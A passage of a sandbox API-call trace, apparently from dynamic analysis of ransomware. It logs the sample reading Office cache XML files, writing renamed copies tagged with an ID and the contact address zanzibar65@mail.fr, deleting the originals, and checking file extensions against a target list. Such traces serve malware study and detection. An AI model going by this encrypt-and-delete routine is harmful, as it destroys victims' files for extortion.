lstrlenW (lpString="Proof.xml") returned 9 [0034.294] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0034.294] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1458) returned 1 [0034.294] CloseHandle (hObject=0x198) returned 1 [0034.294] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 0x2020 [0034.294] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.294] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0034.294] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.294] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.295] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.295] GetLastError () returned 0x0 [0034.295] ReadFile (in: hFile=0x198, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x5b2, lpOverlapped=0x0) returned 1 [0034.296] WriteFile (in: hFile=0x19c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0034.297] ReadFile (in: hFile=0x198, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0034.297] WriteFile (in: hFile=0x19c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.297] SetEndOfFile (hFile=0x19c) returned 1 [0034.297] CloseHandle (hObject=0x19c) returned 1 [0034.298] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.298] SetEndOfFile (hFile=0x198) returned 1 [0034.299] CloseHandle (hObject=0x198) returned 1 [0034.299] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0034.299] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 1 [0034.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.299] lstrlenW (lpString=".doc") returned 4 [0034.300] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.300] lstrlenW (lpString=".docx") returned 5 [0034.300] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0034.300] lstrlenW (lpString=".pdf") returned 4 [0034.300] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.300] lstrlenW (lpString=".xls") returned 4 [0034.300] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.300] lstrlenW (lpString=".xlsx") returned 5 [0034.300] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0034.300] lstrlenW (lpString=".ppt") returned 4 [0034.300] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.300] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.300] lstrlenW (lpString=".zip") returned 4 [0034.300] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.300] lstrlenW (lpString=".rar") returned 4 [0034.300] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.300] lstrlenW (lpString=".bz2") returned 4 [0034.300] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.300] lstrlenW (lpString=".7z") returned 3 [0034.300] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.300] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.300] lstrlenW (lpString=".dbf") returned 4 [0034.300] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.300] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.300] lstrlenW (lpString=".1cd") returned 4 [0034.300] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.300] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.300] lstrlenW (lpString=".jpg") returned 4 [0034.300] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.300] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.300] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.301] lstrlenW (lpString=".doc") returned 4 [0034.301] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.301] lstrlenW (lpString=".docx") returned 5 [0034.301] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0034.301] lstrlenW (lpString=".pdf") returned 4 [0034.301] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.301] lstrlenW (lpString=".xls") returned 4 [0034.301] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.301] lstrlenW (lpString=".xlsx") returned 5 [0034.301] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0034.301] lstrlenW (lpString=".ppt") returned 4 [0034.301] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.301] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.301] lstrlenW (lpString=".zip") returned 4 [0034.301] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.301] lstrlenW (lpString=".rar") returned 4 [0034.301] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.301] lstrlenW (lpString=".bz2") returned 4 [0034.301] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.301] lstrlenW (lpString=".7z") returned 3 [0034.301] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.301] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.301] lstrlenW (lpString=".dbf") returned 4 [0034.301] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.301] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.301] lstrlenW (lpString=".1cd") returned 4 [0034.301] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.301] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.301] lstrlenW (lpString=".jpg") returned 4 [0034.301] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.302] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.302] lstrlenW (lpString="Proofing.xml") returned 12 [0034.302] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0034.302] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=811) returned 1 [0034.302] CloseHandle (hObject=0x198) returned 1 [0034.302] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 0x2020 [0034.302] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.302] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0034.302] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.302] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.302] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.302] GetLastError () returned 0x0 [0034.303] ReadFile (in: hFile=0x198, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x32b, lpOverlapped=0x0) returned 1 [0034.304] WriteFile (in: hFile=0x19c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x330, lpOverlapped=0x0) returned 1 [0034.305] ReadFile (in: hFile=0x198, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0034.305] WriteFile (in: hFile=0x19c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0034.305] SetEndOfFile (hFile=0x19c) returned 1 [0034.305] CloseHandle (hObject=0x19c) returned 1 [0034.306] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.306] SetEndOfFile (hFile=0x198) returned 1 [0034.306] CloseHandle (hObject=0x198) returned 1 [0034.306] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0034.307] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 1 [0034.307] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.307] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.307] lstrlenW (lpString=".doc") returned 4 [0034.307] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.307] lstrlenW (lpString=".docx") returned 5 [0034.307] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0034.307] lstrlenW (lpString=".pdf") returned 4 [0034.307] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.307] lstrlenW (lpString=".xls") returned 4 [0034.307] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.307] lstrlenW (lpString=".xlsx") returned 5 [0034.307] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0034.307] lstrlenW (lpString=".ppt") returned 4 [0034.307] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.307] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.307] lstrlenW (lpString=".zip") returned 4 [0034.307] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.307] lstrlenW (lpString=".rar") returned 4 [0034.307] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.307] lstrlenW (lpString=".bz2") returned 4 [0034.307] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.307] lstrlenW (lpString=".7z") returned 3 [0034.307] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.307] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.307] lstrlenW (lpString=".dbf") returned 4 [0034.308] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.308] lstrlenW (lpString=".1cd") returned 4 [0034.308] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.308] lstrlenW (lpString=".jpg") returned 4 [0034.308] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.308] lstrlenW (lpString=".doc") returned 4 [0034.308] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.308] lstrlenW (lpString=".docx") returned 5 [0034.308] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0034.308] lstrlenW (lpString=".pdf") returned 4 [0034.308] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.308] lstrlenW (lpString=".xls") returned 4 [0034.308] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.308] lstrlenW (lpString=".xlsx") returned 5 [0034.308] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0034.308] lstrlenW (lpString=".ppt") returned 4 [0034.308] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.308] lstrlenW (lpString=".zip") returned 4 [0034.308] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.308] lstrlenW (lpString=".rar") returned 4 [0034.308] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.308] lstrlenW (lpString=".bz2") returned 4 [0034.308] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.308] lstrlenW (lpString=".7z") returned 3 [0034.308] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.308] lstrlenW (lpString=".dbf") returned 4 [0034.309] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.309] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.309] lstrlenW (lpString=".1cd") returned 4 [0034.309] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.309] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.309] lstrlenW (lpString=".jpg") returned 4 [0034.309] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.309] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.309] lstrlenW (lpString="Setup.xml") returned 9 [0034.309] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0034.309] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=5884) returned 1 [0034.309] CloseHandle (hObject=0x198) returned 1 [0034.309] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.309] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.309] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0034.309] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.310] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.310] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.310] GetLastError () returned 0x0 [0034.310] ReadFile (in: hFile=0x198, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x16fc, lpOverlapped=0x0) returned 1 [0034.540] WriteFile (in: hFile=0x19c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x1700, lpOverlapped=0x0) returned 1 [0034.541] ReadFile (in: hFile=0x198, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0034.541] WriteFile (in: hFile=0x19c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.541] SetEndOfFile (hFile=0x19c) returned 1 [0034.541] CloseHandle (hObject=0x19c) returned 1 [0034.542] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.542] SetEndOfFile (hFile=0x198) returned 1 [0034.543] CloseHandle (hObject=0x198) returned 1 [0034.543] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0034.543] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.543] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.543] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.543] lstrlenW (lpString=".doc") returned 4 [0034.543] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.543] lstrlenW (lpString=".docx") returned 5 [0034.543] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.543] lstrlenW (lpString=".pdf") returned 4 [0034.543] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.543] lstrlenW (lpString=".xls") returned 4 [0034.543] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.543] lstrlenW (lpString=".xlsx") returned 5 [0034.543] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.543] lstrlenW (lpString=".ppt") returned 4 [0034.543] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.543] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.544] lstrlenW (lpString=".zip") returned 4 [0034.544] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.544] lstrlenW (lpString=".rar") returned 4 [0034.544] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.544] lstrlenW (lpString=".bz2") returned 4 [0034.544] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.544] lstrlenW (lpString=".7z") returned 3 [0034.544] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.544] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.544] lstrlenW (lpString=".dbf") returned 4 [0034.544] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.544] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.544] lstrlenW (lpString=".1cd") returned 4 [0034.544] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.544] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.544] lstrlenW (lpString=".jpg") returned 4 [0034.544] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.544] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.544] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.544] lstrlenW (lpString=".doc") returned 4 [0034.544] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.544] lstrlenW (lpString=".docx") returned 5 [0034.544] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.544] lstrlenW (lpString=".pdf") returned 4 [0034.544] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.544] lstrlenW (lpString=".xls") returned 4 [0034.544] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.544] lstrlenW (lpString=".xlsx") returned 5 [0034.544] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.544] lstrlenW (lpString=".ppt") returned 4 [0034.544] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.545] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.545] lstrlenW (lpString=".zip") returned 4 [0034.545] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.545] lstrlenW (lpString=".rar") returned 4 [0034.545] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.545] lstrlenW (lpString=".bz2") returned 4 [0034.545] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.545] lstrlenW (lpString=".7z") returned 3 [0034.545] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.545] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.545] lstrlenW (lpString=".dbf") returned 4 [0034.545] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.545] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.545] lstrlenW (lpString=".1cd") returned 4 